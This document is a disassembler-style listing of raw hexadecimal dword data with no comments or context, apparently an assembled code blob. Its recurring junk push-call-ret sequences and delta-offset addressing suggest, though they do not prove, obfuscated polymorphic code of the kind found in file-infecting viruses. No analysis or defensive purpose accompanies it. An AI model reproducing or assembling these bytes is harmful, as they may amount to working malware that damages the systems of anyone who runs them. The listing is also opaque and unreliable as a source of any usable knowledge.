dd 3C1B9346h, 0F7830F61h, 8B000000h, 0E221399Dh, 0FAB2BF05h
dd 0B60F560Fh, 0E6F4BBC8h, 6BA794Eh, 66000000h, 46E8F781h
dd 9D8BC18Bh, 5E22BDDh, 0F04E8C1h, 0D84h, 8E900h, 0EA510000h
dd 0C989CAFFh, 0F7664A66h, 9E9E2h, 0CFCC0000h, 0E2BC208Eh
dd 2BACB3AFh, 819D8BC8h, 8B05E22Dh, 0E9D88BD1h, 9Ah, 5E9h
dd 0F531F000h, 858B66E7h, 44004E49h, 5E960h, 80250000h
dd 8902BCC0h, 0E22D819Dh, 0C0836105h, 6BB86007h, 3443914h
dd 0E21A3985h, 8A0F6105h, 5, 2CD78166h, 0C08308h, 3BF98B66h
dd 19830FD0h, 89000000h, 0E21F3195h, 44E905h, 9E90000h
dd 0AE000000h, 0D34A47EBh, 59572685h, 0FFFF8D8Bh, 0BD8BFFFFh
dd 5E20A09h, 0F01E183h, 2184h, 61BD8B00h, 8305E21Ah, 0FFFFFFA5h
dd 0BF0FFEFFh, 499589FFh, 8B44004Eh, 0E22C51BDh, 0E905h
dd 0B58D0000h, 5E694D3h, 6A60B3h, 13E9h, 5595C200h, 10015A6h
dd 4AD1F1BAh, 70A8B3Dh, 56A0866Ah, 14E9h, 57CDD600h, 95675126h
dd 9E64818h, 0F717BCA3h, 52BB6052h, 0B995FF3Ch, 6A05E20Ah
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h
dd 42000000h, 0AA44C352h, 0CE9DB09Dh, 4D8D89DEh, 0B905E20Eh
dd 1064h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 15h, 0CDC35646h, 0E183F8A8h, 0C8E0FFCh, 0F000000h, 681h
dd 0F59D8B00h, 0F05E208h, 31FCDBBFh, 0E216B595h, 6AC02B05h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1A042444h
dd 40000000h, 64B5C350h, 0FB6F0287h, 5DBD8BC8h, 0F05E223h
dd 481h, 0EFBB6600h, 0BA69h, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 3A114AC3h
dd 0E5F8C9B3h, 0FB8B66D2h, 22E59589h, 33AD05E2h, 3E8D1C2h
dd 4E983D0h, 6AF475h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 190424h, 51410000h, 7FD9DBC3h, 8BD4D012h, 0E21E799Dh
dd 4D950105h, 0D05E218h, 88h, 1B458D89h, 958B05E2h, 5E20BE9h
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 2FC35747h
dd 0BCF3387Ah, 8AF10547h, 19058529h, 8D8B05E2h, 5E20761h
dd 0D5DAF781h, 8B50277Ah, 3188BC2h, 8B188BC1h, 3E8D1C1h
dd 58188BC2h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 1Dh, 49C35747h, 59367427h, 95A8252h, 0AE9EFh, 1BF30000h
dd 4B2013E5h, 5A09BF67h, 10D9BD8Bh, 0BD8305E2h, 5E20D79h
dd 72840F00h, 6A000000h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 1A042444h, 42000000h, 287CC352h, 0A8541EEFh
dd 0B8E9h, 880F0000h, 6, 1CE99D8Bh, 8D8D05E2h, 5E24C42h
dd 1ED216BBh, 0EDCB8160h, 0FF72C1D1h, 56006AE1h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
dd 4AE6BB44h, 8166628Ch, 8902FBD3h, 0E221AD95h, 55BD8305h
dd 5E21Bh, 411840Fh, 0BD890000h, 5E20099h, 1B55BD83h, 0F0105E2h
dd 41984h, 0B18D2900h, 8305E22Ah, 0E21B55BDh, 860F0305h
dd 3D0h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Ch, 8C35343h, 5E7F353Bh, 0DED69E83h, 75858960h, 8B05E229h
dd 0E218FD9Dh, 0D98C6605h, 265DBD2Bh, 9D8905E2h, 5E20771h
dd 0E904E180h, 0Fh, 0FBF9E3CDh, 1F62B562h, 0BA9D0498h
dd 0AFD9CE5h, 4F840FC9h, 0F000001h, 584h, 0EB816600h, 858B0D5Fh
dd 5E2241Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Ch, 0B4C35242h, 0A658525Fh, 6ED36532h, 2AA98533h, 6A05E2h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h
dd 34A6B2C3h, 0F17A48Ch, 8BCCEB5Dh, 0E21B59BDh, 0F860F05h
dd 0E8000000h, 7, 0EE494035h, 50E745DDh, 66505F5Bh, 489DF8Bh
dd 0DFB70F24h, 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1D0424h, 52420000h, 0C4A391C3h, 0A1E90F03h, 0E9F91047h
dd 0Fh, 1D58EFB2h, 2CECAFD5h, 381060C1h, 6892F649h, 0D7F61798h
dd 168B0Fh, 11E90000h, 0EB000000h, 292BF56Dh, 7C439CA3h
dd 0B6E2EDAFh, 0E0B7B45Eh, 67240481h, 6A2828ECh, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
dd 0E98BC353h, 1701A7B5h, 817048E2h, 2EE2DEC3h, 3995FF52h
dd 6A05E208h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1D042444h, 43000000h, 1563C353h, 4DF05C5Bh, 55C02F10h
dd 0BB9D8589h, 0BF6605E5h, 0A4E98E14h, 0F000001h, 858BDEB7h
dd 5E5BB95h, 0C75B53h, 18h, 19F9BD8Bh, 0B58B05E2h, 5E5BB99h
dd 0C4D9D8Bh, 858B05E2h, 5E200F9h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 1Bh, 5EC35343h, 0B2A8B1Dh, 89F147F8h
dd 0FE906h, 1A070000h, 79FA0C5h, 0F945A729h, 0B601E485h
dd 73B860B3h, 2946A19Ah, 0E21755BDh, 858B6105h, 5E2241Dh
dd 3840Fh, 0B70F0000h, 44689D9h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 14h, 86C35141h, 894CB350h, 6A2434h
dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
dd 37BE1EC3h, 2D0A896Dh, 6E9C5h, 0DCF20000h, 0A0D524ABh
dd 0BB95B5FFh, 6A05E5h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 140424h, 55450000h, 0B58994C3h, 5E22B21h, 11E9h, 2C707700h
dd 68FE5045h, 0DF923F08h, 0B98E06BEh, 156855A7h, 8156324Fh
dd 4CEA2434h, 6A562Dh, 3E850h, 58200000h, 448958C3h, 44810424h
dd 190424h, 50400000h, 45A9FC3h, 0E9399757h, 7, 3382A06h
dd 8D9597E3h, 0E5BB9D85h, 50006A05h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1504h, 0C3504000h, 6E8CBACh, 57000000h
dd 810AB51Ah, 5F67B3AEh, 7C99D29h, 605005E2h, 830F60h
dd 50000000h, 5A310F52h, 91B96158h, 613DCAF0h, 89240489h
dd 0E20A8995h, 3995FF05h, 6105E208h, 10318D89h, 85C705E2h
dd 5E21B55h, 3, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 1Ah, 0D4C35646h, 43BFE176h, 0BD2997B1h, 5E21BC5h, 0BB9DBD83h
dd 0F0005E5h, 3B84h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1A04h, 0C3554500h, 6D55AC6h, 29B5B6ABh, 0E230898Dh
dd 0C5BD8905h
dd 0E905E215h, 23h, 0BD8BF98Bh, 5E21E6Dh, 110C3050h, 1114400h
dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
dd 110430h, 0C1011164h, 443010E8h, 64000211h, 83580311h
dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
dd 30011164h, 0E9831104h, 0EBE77504h, 53C08B00h, 0FF19D01h
dd 6A5F05E2h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1D042444h, 45000000h, 567AC355h, 782E103h, 0AEDA1052h
dd 6830Fh, 9D8B0000h, 5E2072Dh, 9D89DF8Bh, 5E22D29h, 1B55BD83h
dd 0F0305E2h, 3FE85h, 0BD83FC00h, 5E5BB9Dh, 0F0840F00h
dd 0BF000003h, 62B33C7Eh, 0BB9DB5FFh, 0BD8905E5h, 5E23135h
dd 0AC30BF66h, 172D95FFh, 665005E2h, 51EDD381h, 91B58B5Bh
dd 6A05E5BBh, 3E85100h, 20000000h, 8959C359h, 8104244Ch
dd 18042444h, 41000000h, 0C230C351h, 0C731FDE7h, 1000106h
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h
dd 0C3574700h, 3EBC7C42h, 6E9h, 43B0C300h, 96E1C3B0h, 0BF665250h
dd 310FADB9h, 0DB948EBFh, 50585A67h, 6A96CFB7h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
dd 0DA0DC356h, 0BD29ACF9h, 5E21D95h, 88A0Fh, 8B560000h
dd 0E210C1BDh, 0B5FF5F05h, 5E5BB9Dh, 695F381h, 95FF22BBh
dd 5E22BD1h, 91B58BF8h, 5105E5BBh, 0C2DF8166h, 858B5FC2h
dd 5E210DDh, 0E6B0BB66h, 0C48689h, 0BD890000h, 5E20529h
dd 0BE9958Bh, 9E905E2h, 7D000000h, 83BB8F4Eh, 38AAF125h
dd 8904C283h, 6A2050h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1C0424h, 55450000h, 35C04FC3h, 0FD942076h, 9D034650h
dd 5E22BF1h, 0CE5B858Dh, 6A05E5h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 140424h, 56460000h, 8B0F14C3h, 0Bh, 0D98B6660h
dd 14418529h, 0FC6105E2h, 0B88689h, 6A0000h, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0D2F0BBC3h
dd 0E442BD41h, 6E8h, 14336D00h, 310EA5B4h, 0E210259Dh
dd 95895F05h, 5E21801h, 6A006Ah, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 190424h, 57470000h, 362C6BC3h, 0E97BFFE1h
dd 0Bh, 99945C1Fh, 0D499129h, 0FF8E97B6h, 0E5BB9DB5h, 51006A05h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h
dd 53B335C0h, 14E995FFh, 9D8B05E2h, 5E200C9h, 50D98B96h
dd 6482DABBh, 6A9640h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1A0424h, 50400000h, 0AC85F1C3h, 0EBC85ADBh, 0DE9h, 609F2300h
dd 4DF9BD0Eh, 0E950667Fh, 0B5FFC19Ch, 5E5BB9Dh, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 8BC35747h, 8BB58B16h
dd 0E222D1BDh, 2195FF05h, 6605E22Dh, 832EF2BBh, 0E20089BDh
dd 840F0005h, 4Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Bh, 0FEC35343h, 596A70A5h, 8924355Eh, 0E231459Dh
dd 0BD8B5605h, 5E2265Dh, 810F965Bh, 0Dh, 8E9h, 17C33E00h
dd 3D008124h, 0FE8B50B9h, 0DABF6696h, 9DB5FFDAh, 6A05E5BBh
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h
dd 41000000h, 503CC351h, 55D0196Fh, 0A64452B3h, 0B6D78166h
dd 1595FF5Ch, 0F05E204h, 682h, 19BD3300h, 0FF05E201h, 0E5BB9DB5h
dd 4D9D8B05h, 0FF05E20Ch, 0E20A5995h, 53006A05h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1704h, 0C3534300h
dd 1DC9BED8h, 23D58589h, 0BD8305E2h, 5E224CDh, 60840F02h
dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 1C042444h, 40000000h, 1DF1C350h, 0D04FCCB4h, 0E9D084CBh
dd 0Dh, 97D943E7h, 6A111A3Bh, 0D8EF32E0h, 35858BCCh, 0F805E21Fh
dd 6A0000C6h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 15042444h, 47000000h, 43B5C357h, 0C7DEBF0Fh, 0E20CF985h
dd 5, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1404h, 0C3564600h, 55BD29A2h, 0E905E22Dh, 0FFFFF3A9h
dd 9E8h, 83D7E200h, 875F4F21h, 9E80057h, 72000000h, 77E76C02h
dd 0C266D1D5h, 1D098D09h, 5F5B05E2h, 14E8C18Bh, 0D1000000h
dd 8B5142B8h, 0BC39A48Eh, 361FA045h, 21C78AA2h, 669D10EBh
dd 5FA008BFh, 0E91858Dh, 8E805E2h, 51000000h, 0F9836F1Ah
dd 8B03205Bh, 51905FDAh, 696713BFh, 0BB505B56h, 19FF00EEh
dd 0DA8B6690h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1B0424h, 50400000h, 0BBF7C6C3h, 34A6B2EBh, 99BD898Ch
dd 6A05E210h, 80605700h, 858969E8h, 5E21B51h, 9D335F61h
dd 5E20965h, 2AF2858Dh, 0BE905E7h, 0F000000h, 95DF8F92h
dd 0A0D26940h, 0C0833522h, 0A1858905h, 0E905E20Fh, 9, 0BE2E7E7Ch
dd 0DCE1D5C7h, 870F5060h, 0Ch, 61605250h, 0BB66310Fh, 585A4AAEh
dd 0B240489h, 0E20B599Dh, 6A006A05h, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 15042444h, 42000000h, 7A2C352h
dd 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
dd 56460000h, 657ADC3h, 0FF808A05h, 0FFDE8B66h, 0E21E2D95h
dd 7E905h, 51980000h, 1C0C3661h, 0B7BF666Bh, 808D8DD7h
dd 6A05E59Dh, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1D042444h, 42000000h, 97A1C352h, 37C740D3h, 0D8B560CCh
dd 2349BD8Bh, 8D8905E2h, 5E21E59h, 6AD1FFh, 3E855h, 5D200000h
dd 6C895DC3h, 44810424h, 160424h, 55450000h, 9EAF57C3h
dd 0D938D381h, 0BD8305A3h, 5E200B9h, 8A850F01h, 8B000000h
dd 0E210F1BDh, 0E9026A05h, 11h, 0EAAD8F50h, 30203243h
dd 2F61E8F4h, 46D7CF0Bh, 0D98B90ACh, 22D2BF50h, 6A904A0Dh
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1B042444h
dd 47000000h, 1FEEC357h, 0C1142E74h, 8A0F52B8h, 2, 0D38151B3h
dd 57449445h, 14E995FFh, 6A05E2h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1D0424h, 50400000h, 7EE1A7C3h, 154FB7B9h
dd 8B4B546Fh, 0E232699Dh, 0D06E905h, 0E80000h, 5D000000h
dd 2AFCED81h, 6E805E7h, 28000000h, 3C99616Ah, 0CBD381FAh
dd 5F53E941h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 1Dh, 0F7C35343h, 0E4FEB4h, 1E73E806h, 8E930h, 0C6F20000h
dd 0CCCEDB80h, 858D43C9h, 5E58E9Eh, 0AE95090h, 54000000h
dd 32C056F9h, 95894E0Fh, 6A90CAh, 3E855h, 5D200000h, 6C895DC3h
dd 44810424h, 1C0424h, 55450000h, 1836D5C3h, 548A5133h
dd 0FF6436E4h, 35h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1704h, 0C3564600h, 269065B1h, 4E82BB66h
dd 258964h, 0E9000000h, 12h, 0F3BB9F64h, 0C14BCA51h, 0EC78FC85h
dd 0A19DF547h, 85FF7EB3h, 5E22329h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 19h, 80C35646h, 0EB6B18FEh, 56BF66C2h
dd 0E9FF6A9Ch
dd 0Bh, 0D6D2CF60h, 2A5360BAh, 0FF8C9503h, 0E21D05B5h
dd 0FF2FB705h, 0E2189D95h, 131E905h, 0EE90000h, 0FB000000h
dd 822A10C2h, 0C7AC91C2h, 0D29FC563h, 0E800B046h, 0Eh
dd 87B9AE32h, 398CF701h, 7E30CA14h, 9D29E17Ah, 5E219B9h
dd 3170E65Bh, 0E2158985h, 0F871E405h, 303D9D8Bh, 613C05E2h
dd 0E9830Fh, 0EE90000h, 26000000h, 0B5339C73h, 0A4B4529h
dd 6FB5A1C7h, 0C8B60FF4h, 13E99509h, 6BA05E2h, 8B000000h
dd 0FBBF0FC1h, 8904E8C1h, 0E21E79B5h, 0E2F76605h, 10E9h
dd 7E37300h, 1CFA32ADh, 3519BAD9h, 0F65E2885h, 29C82BC9h
dd 0E22B11B5h, 8BD18B05h, 91E9DFh, 0DB800000h, 4C858B70h
dd 0E8505F4Ch, 8, 54424D3Ah, 0A4EFCE7Ch, 835FB1B7h, 0B58907C0h
dd 5E200E5h, 0FD9D8960h, 0F805E200h, 0C08361h, 73D9589h
dd 0D03B05E2h, 9830Fh, 8B660000h, 4DE9F8h, 8BF50000h, 0FFFFFF8Dh
dd 199D8BFFh, 8305E22Ch, 840F01E1h, 37h, 12D9D8Bh, 9D8905E2h
dd 5E204DDh, 0FFFFA583h, 89FEFFFFh, 5F4C4C95h, 14E950h
dd 56E60000h, 0AD22A8A7h, 0CE30A9Fh, 0FFA3929Bh, 124B4D8Dh
dd 0E9CF04h, 8D000000h, 0E6A537B5h, 57006A05h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 0B601284h
dd 0E20D858Dh, 8D858B05h, 6105E216h, 6A006Ah, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 0B56EAFC3h
dd 0C5458B06h, 0BBC38181h, 8B6CBACEh, 0E226A99Dh, 0B995FF05h
dd 6A05E20Ah, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1D042444h, 43000000h, 0B12FC353h, 8D9C552Bh, 7F78059Ch
dd 0B618D89h, 63B905E2h, 6A000011h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0E5D2C353h
dd 8910B764h, 0E21C9D8Dh, 0FCE18305h, 0FCDA8B66h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 14h, 52C35545h, 2CD99D8Bh
dd 0B805E2h, 8B000000h, 0E2089DBDh, 6AD22B05h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h
dd 87F1C355h, 0C4E57209h, 7CBB66DDh, 21BD8B8Ch, 0AD05E20Dh
dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 14042444h, 40000000h, 6ACBC350h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h
dd 43000000h, 489BC353h, 0D2EB733h, 88h, 0E851006Ah, 3
dd 59C35920h, 4244C89h, 4244481h, 18h, 0CAC35141h, 8BF40132h
dd 0BE9958Bh, 6A05E2h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1C0424h, 51410000h, 0F6BECFC3h, 33D37869h, 0BF0F5622h
dd 618D8BFEh, 5005E207h, 188BC28Bh, 188BC103h, 0E8D1C18Bh
dd 188BC203h, 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1904h, 0C3534300h, 0A49A1749h, 0BB66F615h, 9D89B04Ch
dd 5E23119h, 0D79BD83h, 0F0005E2h, 7284h, 0B807B700h, 0
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0C3C35343h
dd 0E0BB1AD7h, 8B708410h, 0E21EAD9Dh, 8D8B6005h, 5E21B31h
dd 2D1DB589h, 8D6105E2h, 0E24C428Dh, 0A19D8B05h, 0FF05E226h
dd 57006AE1h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h
dd 0C3574700h, 12D7EB1Eh, 55858938h, 8305E22Ch, 0E21B55BDh
dd 840F0005h, 404h, 2D41BD89h, 0BD8305E2h, 5E21B55h, 0C840F01h
dd 66000004h, 83C3A5BFh, 0E21B55BDh, 860F0305h, 3C5h, 0F589BF66h
dd 51006A60h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h
dd 0C3514100h, 8288ACC4h, 31169C68h, 0E20035BDh, 0D88B6605h
dd 6AD98C66h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 17042444h, 45000000h, 427AC355h, 80F9500Bh, 0B70F04E1h
dd 0FC90AF8h, 15484h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1904h, 0C3534300h, 0E4CC7BE9h, 29F8442Eh
dd 0E2054595h, 1D858B05h, 6A05E224h, 3E85600h, 20000000h
dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 6621C356h
dd 3351A3BFh, 0E22AA985h, 53006A05h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 0CF81BEC3h
dd 1004787Bh, 26BF6690h, 5250500Ch, 176949BBh, 50310F09h
dd 0F525052h, 0F585A31h, 0DE931h, 30E00000h, 0CE96A634h
dd 2812E7E1h, 5A536395h, 90585A58h, 0F38B6660h, 61CF8B66h
dd 0E8F9006Ah, 4, 1F03FFh, 83FBBB66h, 0E8525050h, 14h
dd 14460FBAh, 362F96F9h, 8DD03B2h, 2B001F9Ah, 0CC5DF68Ah
dd 8A310F5Fh, 8B585ADEh, 8B042444h, 0F88B6600h, 4244489h
dd 8D0F5660h, 0
aYGcsaxj db 'Y¸(g—saXj',0
dw 0E852h
dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0B6C35242h, 2972D309h
dd 0E21639B5h, 12E905h, 45E50000h, 0FDDA093Fh, 0E84259C6h
dd 0A27C082Fh, 0D139C3C8h, 83995FFh, 0BD2905E2h, 5E21001h
dd 0BB9D8589h, 84E905E5h, 0B7000001h, 95858B02h, 6A05E5BBh
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h
dd 47000000h, 7086C357h, 0E9832585h, 0Fh, 0F0C809DDh, 171E7039h
dd 9E5D6819h, 0C7E25488h, 1800h, 0D9BD8B00h, 8B05E20Fh
dd 0E5BB99B5h, 0A6CB8105h, 8B6581E9h, 0E200F985h, 56006A05h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h
dd 0EEBEF7F3h, 1ECB3244h, 0A9BD89F9h, 8905E200h, 50505006h
dd 8B5B5F5Bh, 0E2241D85h, 52006A05h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 3671BBD5h
dd 0F013751Ch, 0BD89F79Ah, 5E20759h, 9E9h, 6EEA8600h, 0FEF9EC0Ah
dd 46896157h, 41950104h, 5005E21Ah, 1BB36052h, 800Fh, 5B610000h
dd 8A243489h, 95B5FFFDh, 6805E5BBh, 1F423A9h, 2890Fh, 0FB8B0000h
dd 56243481h, 0F501EB20h, 0BB9D858Dh, 6A05E5h, 3E857h
dd 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h
dd 7144C3C3h, 80A7FEC9h, 6614CF32h, 50583ABFh, 489F88Bh
dd 9D9D8B24h, 0E805E219h, 14h, 2C8B1F0Bh, 55C49D56h, 9FC0193Fh
dd 0E6318367h, 197D7190h, 5BFABF0Fh, 83995FFh, 6A05E2h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
dd 0A3B3D4C3h, 0B14738AEh, 619767F3h, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 18h, 0CDC35343h, 319AB237h, 0E34BB66h
dd 1B5585C7h, 305E2h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 1A0424h, 53430000h, 0CF96D9C3h, 2BF9AA8h
dd 0BB9DBD83h, 0F0005E5h, 3084h, 53006A00h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 0ADBD332Fh
dd 0F05E210h, 21E9DEBFh, 89000000h, 0E2328DBDh, 0C305005h
dd 11440011h, 10E8C101h, 2114430h, 3114C00h, 4E98358h
dd 36EBE775h, 11043050h, 1116400h, 3010E8C1h, 21144h, 58031164h
dd 7504E983h, 501BEBE7h, 2810E8C1h, 30031164h, 58021144h
dd 1116428h, 83110430h, 0E77504E9h, 0C08B00EBh, 0FAC78166h
dd 18E0FEFh, 0F9000000h, 483E84BFh, 55BD8303h, 305E21Bh
dd 39D850Fh, 0F98B0000h, 0BB9DBD83h, 0F0005E5h, 38E84h
dd 2D8D0900h, 0FF05E230h, 0E5BB9DB5h, 15BD8B05h, 0FF05E231h
dd 0E2172D95h, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh
dd 24448104h, 1404h, 0C3554500h, 5FB3FC3Bh, 0BB91B58Bh
dd 72BF05E5h, 0C71C286Eh, 1000106h, 0CDBD8B00h, 9605E20Eh
dd 6775BB66h, 0BE850h, 94C40000h, 0F7836DE1h, 0D50A814Eh
dd 0EE960F6h, 0A3000000h, 0EA68C0ECh, 0CB3AF970h, 91F5B3A6h
dd 965F617Dh, 0EE78166h, 9DB5FFE8h, 8905E5BBh, 0E21079BDh
dd 0D195FF05h, 6A05E22Bh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 18042444h, 46000000h, 67EBC356h, 8BFD771Fh
dd 0E5BB91B5h, 1830F05h, 0F8000000h, 0D860Fh, 29600000h
dd 0E21B6D95h, 0F3816605h, 8B619FE5h, 0E210DD85h, 4D9D8B05h
dd 8005E230h, 868979E3h, 0C4h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 17h, 85C35545h, 3180D6B8h, 0E20AC18Dh
dd 467CBB05h, 8BF508F8h, 0E20BE995h, 0ADB58905h, 8305E22Ah
dd 6A04C2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
dd 57470000h, 0E35760C3h, 0FDF8B66h, 1384h, 0EE900h, 0C0AF0000h
dd 0C3EC74D5h, 0AC6A75FDh, 5A930976h, 5089DD8Ah, 50006A20h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h, 0C3504000h
dd 581C2B32h, 8F71D240h, 0D9BD09C4h, 8D05E22Ch, 0E5CE5B85h
dd 55006A05h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h
dd 0C3554500h, 395C3247h, 0BB668744h, 86892AE0h, 0B8h
dd 0AE8h, 58196700h, 0D897B097h, 8BBFD3A4h, 0E208419Dh
dd 6A5B05h, 8859D8Bh, 0B5FF05E2h, 5E5BB9Dh, 6E8h, 0D541BA00h
dd 66081EFBh, 5BE7AFBBh, 6E9h, 0C56CA800h, 0FFC11C42h
dd 0E214E995h, 0A1BD0105h, 5005E209h, 269589BFh, 24348925h
dd 0B719D03h, 8D0F05E2h, 3, 0FFDF8B66h, 0E5BB9DB5h, 3DBD8B05h
dd 0FF05E232h, 0E22D2195h, 52006A05h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0EEEFB854h
dd 0AE781EABh, 75BB66C7h, 89BD838Dh, 5E200h, 38840Fh, 95890000h
dd 5E218E9h, 8A0F6096h, 0
dd 6FACB7B8h, 0B750610Dh, 6A9616h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 180424h, 57470000h, 98859C3h, 0B5FF40CDh
dd 5E5BB9Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 17h, 31C35040h, 0FF775B26h, 0E2041595h, 53006A05h, 3E8h
dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
dd 0BD8BAB29h, 5E21D7Dh, 0BB9DB5FFh, 6A05E5h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 140424h, 53430000h, 0BF6660C3h
dd 95FFC51Fh, 5E20A59h, 8F0FFD8Ah, 6, 1EED9D8Bh, 0BD8305E2h
dd 5E224CDh, 4C840F02h, 6A000000h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0B052C357h
dd 858B8F98h, 5E21F35h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 16h, 65C35040h, 0C60C5Bh, 8D8D8900h, 0C705E20Dh
dd 0E20CF985h, 5, 719D0100h, 0E905E201h, 0FFFFF425h, 3F22CF81h
dd 0C18B2D4Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
dd 17h, 17C35646h, 0BB13793Ah, 3A85AD3Fh, 0E91858Dh, 896005E2h
dd 0E20BA995h, 50506105h, 0BE860h, 997F0000h, 0C36ED572h
dd 0C11ED247h, 21B75BE2h, 4895F61h, 55006A24h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1904h, 0C3554500h, 0D0BFF893h
dd 6AF5BEDBh, 0F006A00h, 686h, 9DBD8B00h, 8D05E20Bh, 0E73A0485h
dd 61F86005h, 11E8h, 3BA3AE00h, 6BF42106h, 0E0DC61B7h
dd 9B438974h, 8950CD1Bh, 0E231A985h, 835B5F05h, 6A05C0h
dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 150424h, 53430000h
dd 574631C3h, 0EE8h, 29B6C700h, 85C82480h, 92F5BA0Dh, 0F3D2A4Dh
dd 5F5BD9B7h, 8FBF6650h, 2404893Fh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 14h, 3EC35343h, 3870Fh, 0BF0F0000h
